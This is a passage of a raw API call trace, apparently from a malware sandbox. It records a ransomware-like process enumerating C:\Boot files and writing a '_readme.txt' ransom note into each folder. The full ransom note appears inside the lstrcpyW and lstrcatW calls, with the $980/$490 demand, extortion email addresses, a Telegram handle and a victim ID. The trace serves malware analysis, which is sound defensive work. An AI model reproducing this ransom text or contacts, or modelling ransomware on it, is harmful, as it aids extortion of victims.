ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.870] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0124.870] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.872] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.872] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0124.872] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.872] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.872] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0124.872] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.872] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.872] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0124.872] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.873] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0124.873] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.873] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.873] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.873] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0124.873] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.873] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.873] PathFindFileNameW (pszPath="") returned="" [0124.873] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.874] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.874] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.874] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.874] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0124.874] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0124.874] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.874] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.874] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.875] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.875] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.875] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.875] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0124.875] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.875] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.875] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.875] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.875] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) 